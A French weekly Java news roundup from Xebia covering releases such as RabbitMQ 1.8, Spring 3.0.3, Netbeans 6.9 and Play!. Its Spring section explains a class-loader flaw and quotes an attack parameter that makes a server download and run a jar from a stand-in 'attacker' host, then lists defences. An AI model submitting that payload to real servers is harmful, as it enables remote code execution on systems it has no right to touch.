Revue de Presse Xebia

Revue de Presse Xebia

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

RIA

SOA

Le coin de la technique

Actualité éditeurs / SSII

RabbitMQ 1.8

Alors que des idées originales sont proposées autour de RabbitMQ, comme cette proposition de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.

La possibilité d’ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d’échanges semble s’adresser surtout aux spécialistes (RabbitMQ pour l’instant ne propose qu’un mode de persistance même si un nouveau est annoncé prochainement).

Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d’AMQP qui est actuellement en version 0.10 et déjà supportée par Qpid. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d’efforts aux brokers pour l’implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de acker plusieurs fois un même message.

On peut regretter aussi que cette version n’apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s’il existe déjà des solutions externes.

Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :

    com.rabbitmq
    amqp-client
    1.8.0

Bien que cette version ne révolutionne rien, elle corrige pas mal d’imperfections et il est chaudement conseillé de l’installer.

RIA

Du côté de chez Play! Framework

Play!, le framework qui monte, qui monte, vient de passer un cap important : une Cheat Sheet vient de lui être consacrée !

Les releases s’enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.

  • Play! Framework Cheat Sheet

Egalement à signaler, le lancement d’une plateforme pour héberger vos applications Play! : PlayApps. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l’air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n’avons pas encore eu l’occasion de tester ça, et nous sommes curieux.

ExtJS + Raphael + jQtouch = Sencha

Nous connaissons ExtJS mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient Sencha ! (via ajaxian)

Alors, qu’y a-t-il derrière cette nouvelle identité ? Et bien plusieurs produits déjà sortis et d’autres encore en incubation :

  • Sencha Touch : framework HTML5 pour développement mobile (iPhone et Android) ;
  • Ext Designer : application desktop de création d’interfaces ;
  • Ext JS : on ne présente plus ce framework de création d’interfaces riches en Javascript ;
  • Ext GWT : Ext JS pour les développeurs Java et GWT ;
  • Ext Core : librairie Javascript cross-browser ;
  • [Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;
  • [Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;
  • [Labs] Connect : framework regroupant Rack et NodeJS (j’attend déjà avec impatience !) pour un serveur d’application lean et event driven.

Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.

SOA

WSO2 lance Stratos, un PaaS ouvert

WSO2, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme PaaS Stratos. D’après Paul Fermantle, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :

  • contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,
  • Stratos n’offre pas seulement une plateforme pour le développement d’applications web, mais une architecture d’un SI d’entreprise complète avec notamment un ESB, de l’orchestration de services, etc …,
  • Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.

Vous pouvez d’ores et déjà l’essayer à cette adresse

Le coin de la technique

Spring, version 3.0.3 et faille de sécurité

Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d’une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.

Plus de détails sur l’annonce officielle. Il est à noter que cette version corrige une faille de sécurité assez importante découverte sur la partie MVC et remontée par Meder Kydyraliev, de l’équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.

Le principe de l’attaque consiste à :

  1. Réaliser un jar accessible depuis internet avec un fichier META-INF/spring-form.tld et un répertoire META-INF/tags/ contenant le code Java du tag
  2. Soumettre un formulaire avec le paramètre HTTP : class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
  3. Ensuite, le comportement interne de Spring fait qu’il va télécharger http://attacker/attack.jar pour l’exécuter sur la JVM du serveur d’application.

Pour se défendre de ce type d’attaque il y a deux possibilités :

  • Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)
  • Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l’URL soumise

Pour plus détails, je vous invite à lire le billet de Julien Dubois sur son blog Responcia

Sortie d’Apache Click 2.2.0

Apache Click est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s’écrit en Velocity, en FreeMarker ou en JSP. Click est stateless par défaut mais peut être paramétré pour être stateful. A noter qu’il est top-level project chez Apache depuis Novembre 2009.

Les nouveautés de cette version sont nombreuses. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l’ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.

Les liens utiles : téléchargement, guide utilisateur.

Trucs et astuces pour Eclipse

De plus en plus de développeurs sont convaincus par IntelliJ IDEA, l’IDE de JetBrains. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse. Certes, IDEA apporte son lot de changements par rapport à Eclipse mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l’IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d’articles du côté de chez CertPal de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d’Eclipse.

Le premier article se consacre au code templates. Exemple : la complétion sur syso nous génère automatiquement System.out.println(). De nombreux templates sont déjà disponibles et il sera bien sûr possible d’en ajouter très facilement. L’auteur nous présente alors quelques possibilités de templates comme le go générant un main, le log générant une variable de log avec les imports adéquats ou bien encore le tryf générant un block try/catch/finally.

Le second se focalise sur le débogage de l’application. Cela commence par la mise en place du remote debugging. Puis, l’auteur détaille les points d’arrêt conditionnels, la vue display qui permet l’exécution de code live avec toutes les variables du scope à disposition, la définition d’un detail formatter spécifique et la modification live de valeurs depuis la vue d’inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le debug de nos applications.

Enfin, sorti en début de semaine dernière, un troisième article, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l’import/export des préférences ou la très intéressante vue local history.

La série n’étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.

Netbeans 6.9

Aprés IntelliJ et Eclipse, Netbeans ! Netbeans 6.9 est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d’un formulaire, associés à des états et une source de données. Tout comme l’ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.

Parmi les autres nouveautés :

  • intégration d’OSGI
  • support de Spring 3.0.0
  • support REST web services pour les applications RCP
  • support de Rails 3.0

A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.

Bien que ce soit une version majeure, pas sûr néanmoins qu’elle fasse de l’ombre à la version annuelle d’Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.

Choisir entre mod_jk et mod_proxy, par Mark Thomas

Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s’est fendu d’un nouvel article qui se veut une checklist pour choisir entre le mod_jk et le mod_proxy. Mark commence d’ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd’hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:

  • Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.
  • Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.
  • Si vous avez déjà un de ces modules en production, ne changez rien.
  • Mark préfère le mod_proxy_http, pour sa configuration plus consistante.

Pour plus d’information, vous pouvez lire son article sur le blog Tomcat Expert, ou connaître notre avis sur la question: mod_proxy vs mod_jk.

Commentaire

1 réponses pour " Revue de Presse Xebia "

  1. Published by , Il y a 13 ans

    À propos de playapps :
    J’ai pu tester (pour une migration avec base de donnée, donc tout n’est pas totalement passé…) la plateforme playapps. Très intuitif : l’accès en ssh n’est pas vraiment utile à part pour de la maintenance au niveau mysql.

    Le déploiement se fait à l’aide d’un plugin play! qui s’installe avec la commande habituelle.
    Conclusion : tout géré par play! et un déploiement plus facile que sur appengine !

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Nous recrutons

Être un Sapient, c'est faire partie d'un groupe de passionnés ; C'est l'opportunité de travailler et de partager avec des pairs parmi les plus talentueux.